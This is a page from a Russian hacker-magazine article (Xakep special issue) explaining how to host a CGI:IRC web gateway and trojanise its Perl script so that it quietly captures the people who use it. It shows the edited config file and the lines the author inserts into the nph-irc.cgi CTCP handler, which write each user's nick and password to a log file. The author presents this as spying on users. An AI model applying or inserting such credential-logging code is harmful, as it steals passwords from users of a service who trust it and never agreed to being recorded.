|

ЧЕРНОКНИЖНОЕ ТУННЕЛИРОВАНИЕ - нужную инфу нам отдадут добровольно
G3M1N1 (bugtraq@bk.ru)
Спецвыпуск Xakep, номер #029, стр. 029-062-2
Поехали с самого начала. Я решил все объяснить на примере cgiirc. Первым делом ищем себе задушевного хостера, который бы разрешил тебе юзать скрипты и хотя бы чуток распоряжаться своими сокетами; ведь нам нужно будет, чтобы наш скрипт успешно общался с каким-нибудь irc.yshlepok.ru на, допустим, 6667 порту. Сразу скажу, что такого хостера найти не просто, но вполне реально, давать ссылки я не буду, так как они все забугорные, а я патриот :). Затем лезем на google.com и ищем cgiirc. Я нашел за несколько секунд cgiirc-0.5.2 и стянул архивчик. Распаковываем и изучаем его содержимое - нас с тобой будут интересовать скрипты, а не images'ы (над дизайном, я думаю, ты догадаешься поработать.
Читаем README и правим файл-конфиг:
# This is the full access CGI:IRC 0.5 config file
# It will allow access to *all* servers and channels
# See http://cgiirc.sourceforge.net/docs/config.php for help editing it.
# -----
# Указываем дефолтовый сервер и порт
default_server = irc.wenet.ru
default_port = 6667
# Дефолтовый канал
default_channel = #xakep
# Реальное имя, при запросе(in /whois)
default_name = CGI:IRC User
# Дефолтовый ник, знаки вопроса, случайные числа
default_nick = Guest???
# Имя пользователя по дефолту
default_user = cgiirc
# Сообщение при выходе
#quit_message = Quit!
# Ничего не указывай, и так пойдет %)
#quit_prefix = CGI:IRC
# -----
# System setup options
# Если есть желание, можешь изменить имена скриптов, я оставил как было
script_nph = nph-irc.cgi
script_form = client-perl.cgi
script_login = irc.cgi
Открываем nph-irc.cgi и видим следующие переменные: $nick, $password - они-то нас и интересуют. Нужно сохранять их значения в лог-файл и потом просто прочитать и воспользоваться плодами нашего шпионажа.
Ищем в скрипте, где эти данные передаются серверу, чтобы перехватить их.
# Данные отправляются на сервер
sub irc_out {
my($event,$fh,$data) = @_;
$data = $fh, $fh = $event if !$data;
message('default', "-> Server: $data");
net_send($fh, $data . "\r\n");
}
Пропускаем немного и находим следующий элемент:
sub irc_ctcp {
my($name, $info, $to, $nick, $host, $command, $params) = @_;
if($name eq 'ctcp own msg') {
format_out('ctcp own msg', $info, [$nick, $host, $command, $params]);
}elsif($name =~ /^ctcp msg /) {
if(uc($command) eq 'KILL') {
return unless config_set('admin password');
my $crypt = $config->{'admin password'};
my($password, $reason) = split ' ', $params, 2;
return unless length $password and length $crypt;
# Сюда вставим следующий простой код, который будет записывать значение переменных $nick и $password в лог-файл
open (FILELOG, ">>/path/to/log") || die "can't open log: $!\n";
print FILELOG "$nick : $password\n";
close FILELOG;
# Все! Переменные ушли в логи
if(crypt($password, substr($crypt, 0, 2)) eq $crypt) {
message('kill ok', $nick, $reason);
net_send($ircfh, "QUIT :Killed ($nick ($reason))\r\n");
irc_close();
}else{
message('kill wrong', $nick, $reason);
}
}elsif(uc($command) eq 'ACTION' && $irc->is_channel($info->{target})) {
Назад на стр. 029-062-1 Содержание Вперед на стр. 029-062-3
|